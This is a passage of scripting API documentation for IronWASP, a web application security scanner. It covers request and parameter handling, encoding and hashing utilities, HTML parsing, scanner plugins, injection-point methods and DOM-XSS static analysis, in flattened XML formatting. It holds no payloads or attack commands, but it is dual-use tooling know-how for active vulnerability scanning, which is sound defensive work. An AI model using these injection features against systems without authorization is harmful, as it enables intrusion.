Testing Log and returns it. + + + from_probe_log(int ID) + Static + + + int + ID + ID of the Session in the Probe Log. + + + session + Creates an Session object from the specified record in the Probe Log(Crawler) and returns it. + + + from_probe_log() + Static + + session_[] + Creates an array of all Session objects from the Probe Log(Crawler) and returns it. + + + from_shell_log(int ID) + Static + + + int + ID + ID of the Session in the Scripting Shell Log. + + + session + Creates an Session object from the specified record in the Scripting Shell Log and returns it. + + + from_shell_log() + Static + + session_[] + Creates an array of all Session objects from the Scripting Shell Log and returns it. + + + from_scan_log(int ID) + Static + + + int + ID + ID of the Session in the 'Automated Scanning' Log. + + + session + Creates an Session object from the specified record in the 'Automated Scanning' Log and returns it. + + + from_scan_log() + Static + + session_[] + Creates an array of all Session objects from the 'Automated Scanning' Log and returns it. + + + get_id() + Non-Static + + int + Returns the ID of the Session object in its respective log. + + + + + Parameters + Non-Static + Base class for the QueryParameters, BodyParameters, HeaderParameters and CookieParameter classes. Used to store Key-Value pairs. Key is a string and Value is a list of strings.[i[br]] The Keys for HeaderParameters are case-insensitive, for others it is case-sensitive. + + + + + count + int + Non-Static + Number of Parameters present in this object. + + + + + get(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the value of the parameter with the given name in the same decoded form as the application would see it. [i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a#b' by the Get method as it will properly decode it before returning. + + + raw_get(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the raw value of the parameter with the given name, as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a%23b' by RawGet method, whereas the Get method would decode it and return as 'a#b'. + + + get_names() + Non-Static + + string_[] + Returns the Names of all the parameters as a list. The form of parameter names is the same decoded form as the application would see it.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q#r' by GetNames method. + + + raw_get_names() + Non-Static + + string_[] + Returns the Names of all the parameters as a list. The form of the parameter names is as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter name the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q%23r' by RawGetNames method, whereas the GetNames method would decode it and return as 'q#r'. + + + get_all(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string_[] + Returns all values of the parameters with the given name. The form of the parameter values is the same decoded form as the application would see it(Refer Get for example). [i[br]]Used when there are two or more parameters with the same name. + + + raw_get_all(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string_[] + Returns all values of the parameters with the given name. The form of the parameter values is as they appear in the HTTP Request string that is sent over the network (Refer RawGet for example).[i[br]]Used when there are two or more parameters with the same name. + + + set(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If set('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + raw_set(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If raw_set('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + set_at(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the decoded form you want the application to see it. + + + void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + raw_set_at(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + set(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values are in the decoded form you want the application to see it. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + raw_set(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + add(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If add('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + raw_add(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If raw_add('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + remove(string Name) + Non-Static + + + string + Name + Name of the parameter + + + void + Removes the specified parameter from the list. + + + remove_all() + Non-Static + + void + Removes all parameters from the list. + + + has(string Name) + Non-Static + + + string + Name + Name of the parameter + + + bool + Checks if the given parameter name exists in the list and returns a bool value. + + + get_multis() + Non-Static + + string_[] + Returns the name of the parameters that have multiple values. [i[br]]Use GetAll to get those values. + + + + + Tools + Static + Collection of commonly required utilities + + + + + + + url_encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Url-Encoded version of the input. + + + html_encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a HTML-encoded version of the input. + + + base64_encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Base64-encoded version of the input. + + + to_hex(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string and returns it. + + + to_hex(byte[] Input) + Static + + + byte[] + Input + ByteArray to encode + + + string + Converts all bytes to HEX string and returns it. + + + hex_encode(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string with a preceding '%' and returns it. + + + xml_encode(string Input) + Static + + + string + Input + String to encode + + + string + Encodes the Input to make it suitable to be added as a XML node's value + + + url_decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Url-Decoded version of the input. + + + html_decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a HTML-Decoded version of the input. + + + base64_decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Base64-Decoded version of the input. + + + base64_decode_to_hex(string Input) + Static + + + string + Input + String to decode + + + string + Base64 decodes the Input and returns the results as a Hex string. + + + hex_decode(string Input) + Static + + + string + Input + String to decode + + + string + Converts all the HEX characters to ascii equivalents. + + + md5(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a MD5 hash of the input. + + + sha1(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA1 hash of the input. + + + sha256(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA256 hash of the input. + + + sha384(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA384 hash of the input. + + + sha512(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA512 hash of the input. + + + diff(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + diff_result + Does a line-by-line Diff of two multi-line strings and returns a DiffResult object containg the result. + + + diff_line(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + diff_result + Does a word-by-word Diff of single line strings and returns a DiffResult object containg the result. + + + diff_level(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + int + Gives a value between 0 - 100 indicating the percent of difference between the two strings. 0 indicates the two strings are same. 100 indicates the two strings are fully different. + + + + + DiffResult + Non-Static + Represents a result of a Diff of two strings. Returned by the method - Tools.Diff() + + + + + deleted + int[] + Non-Static + Line numbers in the first string that are not present in the second string + + + missing_at + int[] + Non-Static + Line numbers in the second string where the deleted sections of first string should have appeared + + + inserted + int[] + Non-Static + Line numbers in the second string that contain sections not present in the first string + + + un_changed + int[] + Non-Static + Line numbers in the second string that remain the same as first string + + + deleted_sections + string[] + Non-Static + Sections of the first string that are not present in the second string + + + inserted_sections + string[] + Non-Static + Sections of the second string that are not present in the first string + + + un_changed_sections + string[] + Non-Static + Sections of the second string that are also present in the first string + + + + + + + AskUser + Static + Class that enables scripts to create UI pop-ups and get data from user at run-time. + + + + + + + for_bool(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with a 'Yes' and a 'No' button and waits. Returns the user's input as a boolean. + + + for_string(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with an input field and a 'Submit' button. Returns the user's input as a string. + + + for_string(string Title, string Message, string ImageFilePath) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + string + ImageFilePath + Full path to any image file on the local hard drive. Eg: Capcha images + + + bool + Shows a pop-up window with the provided title and message and also displays the image inside this window along with an input field and a 'Submit' button. Returns the user's input as a string. + + + + + SetCookie + Non-Static + Represents all the information available in a Set-Cookie header + + + SetCookie.new(string SetCookieHeaderString) + Parses the a Set-Cookie header and creates a object that gives easy access to the contained information + + + string + SetCookieHeaderString + The Set-Cookie header string + + + + + + + name + string + Non-Static + [READ-ONLY] Name of the key in the key-value pair included in the Set-Cookie header + + + value + string + Non-Static + [READ-ONLY] Value of the key included in the Set-Cookie header + + + full_string + string + Non-Static + [READ-ONLY] Returns the full Set-Cookie header as a single string + + + path + string + Non-Static + [READ-ONLY] Value of the Path attribute + + + domain + string + Non-Static + [READ-ONLY] Value of the Domain attribute + + + expires + string + Non-Static + [READ-ONLY] Value of the Expires attribute + + + max_age + string + Non-Static + [READ-ONLY] Value of the Max-Age attribute + + + http_only + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the HttpOnly flag is set. + + + secure + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the Secure flag is set. + + + comment + string + Non-Static + [READ-ONLY] Comments contained in the Set-Cookie header + + + version + string + Non-Static + [READ-ONLY] Version information from the Set-Cookie header + + + + + CookieStore + Non-Static + A store to save Cookies and add them to any Requests + + + CookieStore.new() + Creates a new empty Cookie Store object + + + + + + + + + add(Request Req, Response Res) + Non-Static + + + Request + Req + Request object that was sent to the server + + + Response + Res + Response object recieved for the Request + + + void + Updates the CookieStore with the Response object's SetCookie headers + + + add(string Host, string Cookie) + Non-Static + + + string + Host + Hostname of the site + + + string + Cookie + Cookie header as a string Eg: "SessionID=sad797asjd2323" + + + void + Updates the CookieStore with the Cookie against the specified Hostname + + + get_cookies() + Non-Static + + + set_cookie_[] + Returns a list of SetCookie objects that represent all the cookies stored inside the CookieStore object + + + get_cookies(Request Req) + Non-Static + + + Request + Req + Request that must be sent to the server + + + set_cookie_[] + Returns a list of SetCookie objects that represent the matching cookies stored inside the CookieStore object. Matches are done on the Hostname and Path of the Request object and the stored cookies. + + + + + HTML + Non-Static + A class that represents a HTML document and contains methods to traverse it. + + + HTML.new(string HtmlString) + Creates a HTML object from raw string containg HTML tags + + + string + HtmlString + String containg HTML tags, usually the Response Body. + + + + + + + links + string[] + Non-Static + Lists all the links contained in the HTML document + + + comments + string[] + Non-Static + Lists all the comments contained in the HTML document + + + html + HtmlDocument + Non-Static + The base HtmlDocument object of HtmlAgilityPack + + + + + load(string HtmlString) + Non-Static + + void + Updates the HTML object with new HtmlString + + + get(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string_[] + Returns all the elements of the given name as strings. [i[br]]Eg: my_html.get("script") + + + get(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string_[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("script","src") + + + get(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string_[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("*","class","code") + + + get_values(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload' etc + + + string_[] + Returns the matching atrribute values as list of strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("script","src") + + + get_values(string ElementName, string AttributeName, string AttributeValues, string InterestedAttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload', 'id' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string + InterestedAttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload', 'id' etc + + + string_[] + Returns the interested attribute values as list of strings from the elements matched by the element name and containing the provided attribute name/value pair. the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("a", "class", "left_nav", "href") will get the 'href' values of only those 'a' tags that have a 'class' attribute with value 'left_nav' + + + get_meta_content(string MetaAttributeName, string MetaAttributeValue) + Non-Static + + + string + MetaAttributeName + Name of an HTML Meta tag attribute. Eg: 'http-equiv' + + + string + MetaAttributeValue + Value of the attributes mentioned by the MetaAttributeName parameter. Eg: 'set-cookie' (in case of attribute name 'http-equiv') + + + string_[] + Returns the value of the 'content' attribute of 'meta' HTML tag that have an attribute matching MetaAttributeName with its value matching as MetaAttributeValue, as list of strings. [i[br]]Eg: my_html.GetMetaContent("http-equiv", "set-cookie") + + + get_nodes(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + html_node_collection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack. [i[br]]Eg: my_html.get("script") + + + get_nodes(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + html_node_collection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("script","src") + + + get_nodes(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + html_node_collection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.get("*","class","code") + + + query(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a" + + + string_[] + Returns all the elements of the given Html object that matched the Xpath Query as strings. [i[br]]Eg: my_html.QueryNodes("//a") + + + query_nodes(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + html_node_collection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + query_values(string XpathQuery, string AttributeName) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + string + AttributeName + Name of the Attribute whose value must be returned + + + string_[] + Returns an array of strings containing the value of the Attribute from the Nodes that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + get_forms() + Non-Static + + + html_node_[] + Returns an array of HtmlNode(HtmlAgilityPack) objects that represent the Forms in the Html object. The HtmlNodes only contain the Form and Input Html elements, unnecessary elements are stripped off. + + + get_java_script() + Non-Static + + + string_[] + Returns an array of string containing all the JavaScript from the Script tags and event attributes of the Html + + + get_java_script(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only JavaScript snippets that have this keyword are returned. + + + string_[] + Returns an array of string containing all the JavaScript that contain the Keyword, from the Script tags and event attributes of the Html + + + get_visual_basic() + Non-Static + + + string_[] + Returns an array of string containing all the VisualBasic from the Script tags of the Html + + + get_visual_basic(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only VisualBasic snippets that have this keyword are returned. + + + string_[] + Returns an array of string containing all the VisualBasic that contain the Keyword, from the Script tags of the Html + + + get_css() + Non-Static + + + string_[] + Returns an array of string containing all the CSS from the Style tags and style attributes of the Html + + + get_css(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only CSS snippets that have this keyword are returned. + + + string_[] + Returns an array of string containing all the CSS that contain the Keyword, from the Style tags and style attributes of the Html + + + xpath_safe(string Input) + Non-Static + + + string + Input + The value that must be made Xpath safe + + + string + Takes the input string and returns an ouput that is fit to be used as an attribute value in a Xpath query. + + + get_context(string Keyword) + Non-Static + + + string + Keyword + The Keyword whose context must be found + + + string_[] + Checks the occurances of the Keyword in the Html and returns the contexts. + + + + + ActivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on the a webpage through active interaction. + + + + + name + string + Non-Static + Name of the Active Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(ActivePlugin NewActivePluginObject) + Static + + + ActivePlugin + NewActivePluginObject + New ActivePlugin Object + + + void + Adds a new Active Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the ActivePlugin + + + active_plugin + Returns a ActivePlugin of the given name from IronWASP's internal list. [i[br]]Eg: ActivePlugin.get("Cross-site Scripting") + + + list() + Static + + string_[] + Returns the names of all ActivePlugins currently present in IronWASP's internal list. + + + check(Request Req, Scanner Scan) + Non-Static + + + Request + Req + The Request that is being scanned + + + Scanner + Scan + The Scanner object that is calling this Active Plugin + + + void + This method contains the vulnerability checking logic of this particular ActivePlugin and performs the required check. + + + + + PassivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on requests/responses passively. + + + + + name + string + Non-Static + Name of the Passive Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(PassivePlugin NewPassivePluginObject) + Static + + + PassivePlugin + NewPassivePluginObject + New PassivePlugin Object + + + void + Adds a new Passive Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the PassivePlugin + + + passive_plugin + Returns a PassivePlugin of the given name from IronWASP's internal list. + + + list() + Static + + string_[] + Returns the names of all PassivePlugins currently present in IronWASP's internal list. + + + check(Session Sess, PluginResults Results) + Non-Static + + + Session + Sess + The Session object that is being passively scanned + + + PluginResults + Results + The object that will hold the findings of the check if any. + + + void + This method contains the vulnerability checking logic of this particular PassivePlugin and performs the required check. + + + + + FormatPlugin + Non-Static + An IronPython or IronRuby script that can convert an object of any special format to xml and back. + + + + + name + string + Non-Static + Name of the Format Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(FormatPlugin NewFormatPluginObject) + Static + + + FormatPlugin + NewFormatPluginObject + New FormatPlugin Object + + + void + Adds a new Format Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the FormatPlugin + + + format_plugin + Returns a FormatPlugin of the given name from IronWASP's internal list. + + + list() + Static + + string_[] + Returns the names of all FormatPlugins currently present in IronWASP's internal list. + + + xml_to_array(string Xml) + Static + + + string + Xml + The Xml must be converted in to array + + + string_[,] + Converts the Xml input in to a two-dimensional array and returns it. The two-dimensional array holds the values in the Xml and the node path of the values. This information is used for fuzzing the Xml. + + + inject_in_xml(string Xml, int InjectionPosition, string ValueToString) + Static + + + string + Xml + The Xml in to which a value must be injected + + + int + InjectionPosition + The position in the Xml where the value must be injected. This is the index of the value in the two-dimensional array returned by FormatPlugin.XmlToArray(Xml) + + + string + ValueToString + The value that must be injected in to the Xml + + + string + Inserts a value in to the specified position in the Xml and returns the updated Xml. This method is used in fuzzing Xml based data or data of any format that gets converted to Xml by the approriate FormatPlugin + + + + + SessionPlugin + Non-Static + An IronPython or IronRuby script that would contain methods to define a specific web application's custom behaviour. + + + + + name + string + Non-Static + Name of the Session Plugin + + + description + string + Non-Static + Information about the plugin. + + + version + string + Non-Static + Version number of the Plugin + + + + + add(SessionPlugin NewSessionPluginObject) + Static + + + SessionPlugin + NewSessionPluginObject + New SessionPlugin Object + + + void + Adds a new Session Plugin to IronWASP's internal list + + + get(string PluginName) + Static + + + string + PluginName + Name of the SessionPlugin + + + format_plugin + Returns a SessionPlugin of the given name from IronWASP's internal list. + + + list() + Static + + string_[] + Returns the names of all SessionPlugins currently present in IronWASP's internal list. + + + + + Scanner + Non-Static + A class to create a custom security scanner by determining injection points and active plugins. + + + Scanner.new(Request RequestToScan) + Creates a new Scanner object based on the Request + + + Request + RequestToScan + A request that would be scanned by the scanner object. + + + + + + + session_handler + SessionPlugin + Non-Static + Session plugin assosiated with this scanner to control its behaviour + + + body_format + FormatPlugin + Non-Static + Format Plugin associated with this scanner to represent the body of the scanner's request. + + + injected_section + string + Non-Static + Name of the section of the request that is being currently injected. Possible values are URL, Query, Body, Cookie and Headers. [i[br]] (Only to be called within the ActivePlugin script) + + + injected_parameter + string + Non-Static + Name of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + injected_url_path_position + int + Non-Static + The index of the UrlPathParts that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + pre_injection_parameter_value + string + Non-Static + Original value of the parameter that is being currently injected. [i[br]] (Only to be called within the ActivePlugin script) + + + injected_request + Request + Non-Static + Request sent to the serer with some parameter injected. [i[br]] (Only to be called within the ActivePlugin script) + + + injection_response + Response + Non-Static + Response returned from the server for InjectedRequest. [i[br]] (Only to be called within the ActivePlugin script) + + + + + add_check(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the active plugin that must be included in the scan. + + + void + Includes an Active Plugin to the scanner and calls it at scan time. + + + remove_check(string ActivePluginName) + Non-Static + + + string + ActivePluginName + Name of the ActivePlugin to be removed from the scanner + + + void + Removes the Active Plugins from the list of checks the scanner calls at scan time. + + + show_checks() + Non-Static + + string_[] + Returns the names of all ActivePlugins that will be called by the Scanner at scan time. + + + clear_checks() + Non-Static + + void + Removes all the Active Plugins that would have been called by the Scanner at scan time. + + + inject_all() + Non-Static + + void + Sets injection points in all Url positions, Query, Body, Cookie and Header parameters. + + + inject_url() + Non-Static + + void + Sets injection points in all Url positions. + + + inject_url(int UrlPosition) + Non-Static + + + int + UrlPosition + Zero based value of the Url position that must be injected + + + void + Sets an injection point at the specified Url position. + + + inject_query() + Non-Static + + void + Sets injection points in all Query parameter positions. + + + inject_query(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the query. + + + inject_query(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the query if multiple parameter exist with the same name. + + + inject_body() + Non-Static + + void + Sets injection points in all Body parameter positions. + + + inject_body(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the Body. + + + inject_body(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the body if multiple parameter exist with the same name. + + + inject_body(int XmlArrayInjectionPoint) + Non-Static + + + int + XmlArrayInjectionPoint + A position inside the XmlInjectionPoints array + + + void + If a FormatPlugin is set then sets an injection point the specified point in the XmlInjectionPoints array. + + + inject_cookie() + Non-Static + + void + Sets injection points in all Cookie parameter positions. + + + inject_cookie(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the Cookie. + + + inject_cookie(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the Cookie if multiple parameter exist with the same name. + + + inject_headers() + Non-Static + + void + Sets injection points in all Headers parameter positions. + + + inject_headers(string ParameterName) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + void + Sets an injection point at all occurances of the given parameter name in the Headers. + + + inject_headers(string ParameterName, int SubParameterPosition) + Non-Static + + + string + ParameterName + Name of the parameter where an injection point must be set. + + + int + SubParameterPosition + SubParameter Position of the parameter that must be injected + + + void + Sets an injection point at the specified occurance of the given parameter name in the Headers if multiple parameter exist with the same name. + + + launch_scan() + Non-Static + + void + Similar to scan() but instead of performing the scan in the current thread it queues the scan job in the 'AutomatedScanning' section. The scan logs will be updated in the 'ScanLog' grid instead of the 'ScriptingLog' grid. + + + inject(string Payload) + Non-Static + + + string + Payload + Payload to be injected + + + response + Injects the payload in the section of the request where the current injection pointer lies and returns the corresponding response. [i[br]] (Only to be called within the ActivePlugin script) + + + + + IronJint + Static + A JavaScript static analyzer to check for DOM-based XSS issues + + + + + + + trace(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + trace_result + Analyzes the JavaScript code for instances where DOM XSS Sources and Sinks are present including instances where Sources are assigned to Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + trace(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The Keyword that must be traced through the JavaScript + + + trace_result + Analyzes the JavaScript code for instances where the given keyword is assigned to DOM XSS Sinks. The result of the analysis is stored in a TraceResult object and returned. + + + is_expression_statement(string JavaScriptCode, string Keyword) + Static + + + string + JavaScriptCode + The JavaScript code that must be analyzed + + + string + Keyword + The string value that must be checked for being an expression statement. + + + bool + Parses the input JavaScript code and checks if the keyword appears inside the JavaScript as an expression statement. + + + beautify(string JavaScriptCode) + Static + + + string + JavaScriptCode + The JavaScript code that must be beautified + + + string + Properly formats the input code and returns a more readable version + + + + + TraceResult + Non-Static + Represents the result of JavaScript static analysis performed using the Trace method of IronJint. + + + + + source_line_nos + int[] + Non-Static + Line numbers that are tained by a DOM XSS source + + + sink_line_nos + int[] + Non-Static + Line numbers that are tained by a DOM XSS sink + + + source_to_sink_line_nos + int[] + Non-Static + Line numbers where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + source_lines + string[] + Non-Static + Lines that are tained by a DOM XSS source + + + sink_lines + string[] + Non-Static + Lines that are tained by a DOM XSS sink + + + source_to_sink_lines + string[] + Non-Static + Lines where a DOM XSS source is assigned to a DOM XSS sink. If this is the result of IronJint.Trace(code, keyword) then these are the lines where the keyword is assigned to a DOM XSS sink. + + + keyword_contexts + string[] + Non-Static + If this is the result of IronJint.Trace(code, keyword) then list of contexts in which the given keyword is present in the JavaScript code is returned. + + + lines + string[] + Non-Static + All the lines of the cleaned up version of the input JavaScript code. + + + + + + + GlobalStore + Static + A store for all types of objects that can be accessed from any part of the tool. + + + + + + + put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + remove(string Name) + Static + + + string + Name + Name of the object stored + + + void + Removes the object matching the name from the store. + + + + + ThreadStore + Static + A store for all types of objects that is specific to a thread on which it is called. Objects stored in a ThreadStore are only accessible to calls made from the same thread. + + + + + + + put(string Name, object ObjectToStore) + Static + + + string + Name + Name by which the object will be referred to inside the store + + + object + ObjectToStore + The object that must be stored + + + void + Any object like Request, Response etc can be stored in this store and can be referred to by the name assigned to it. + + + get(string Name) + Static + + + string + Name + Name of the object stored + + + object + Fetch the object from the store by providing its name. + + + has(string Name) + Static + + + string + Name + Name of the object stored + + + bool + Returns a boolean indicating if an object by that name exists in the store. + + + remove(string Name) + Static + + + string + Name + Name of the object stored + + + void + Removes the object matching the name from the store. + + + clear() + Static + + + void + Removes all the objects stored from calling thread. Objects stored from other threads are not affected. + + + this_thread() + Static + + + int + Returns the Thread ID of the thread from this this call is made. + + + + + Config + Static + A class that holds some information about the tool. + + + + + path + string + Static + [READ-ONLY]Returns the full path of the location of the IronWASP binary in the file system. + + + + + + Calls used to instantiate the Class. + Static and Non-Static variables available in the Class + Static and Non-Static 